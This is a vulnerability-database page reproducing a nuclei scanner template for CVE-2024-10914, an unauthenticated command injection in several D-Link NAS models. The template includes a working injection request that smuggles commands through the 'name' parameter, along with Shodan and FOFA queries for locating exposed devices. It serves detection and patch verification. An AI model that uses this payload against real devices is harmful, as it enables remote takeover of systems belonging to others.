Lucene search
K

D-Link NAS - Command Injection via Name Parameter

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 65 Views

D-Link NAS - Command Injection via Name Parameter. Critical vulnerability in D-Link NAS models DNS-320, DNS-320LW, DNS-325, and DNS-340L up to 20241028 allows OS command injection via the name parameter in cgi_user_add function

Related
Refs
Code
id: CVE-2024-10914

info:
  name: D-Link NAS - Command Injection via Name Parameter
  author: s4e-io
  severity: critical
  description: |
    A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument name leads to os command injection.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the name parameter, potentially compromising the entire D-Link NAS device.
  remediation: |
    Update D-Link DNS-320, DNS-320LW, DNS-325, and DNS-340L firmware to versions released after 20241028.
  reference:
    - https://github.com/verylazytech/CVE-2024-10914
    - https://www.usom.gov.tr/bildirim/tr-24-1836
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10914
    cwe-id: CWE-707
    epss-score: 0.97432
    epss-percentile: 0.99891
    cpe: cpe:2.3:o:dlink:dns-320_firmware:*:*:*:*:*:*:*:*
  metadata:
    vendor: dlink
    product: dns-320_firmware
    shodan-query: http.html:"sharecenter"
    fofa-query: body="sharecenter"
  tags: cve,cve2024,dlink,sharecenter,rce,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{command}};%27 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "id"
        - "ifconfig"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
          - "contains_all(body, 'inet addr:', 'Mask:')"
        condition: or

      - type: dsl
        dsl:
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022065bb0706710b7b82f10863b6af9c12ca0ae4f05d775ba7d68755b6442520d3b8022100b051339e7f55129cef0fd93bbf0510295c22e9e0b45630a220b36ee14228fbbf:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.18.1 - 9.8
CVSS 27.6
CVSS 49.2
CVSS 38.1
EPSS0.97432
SSVC
65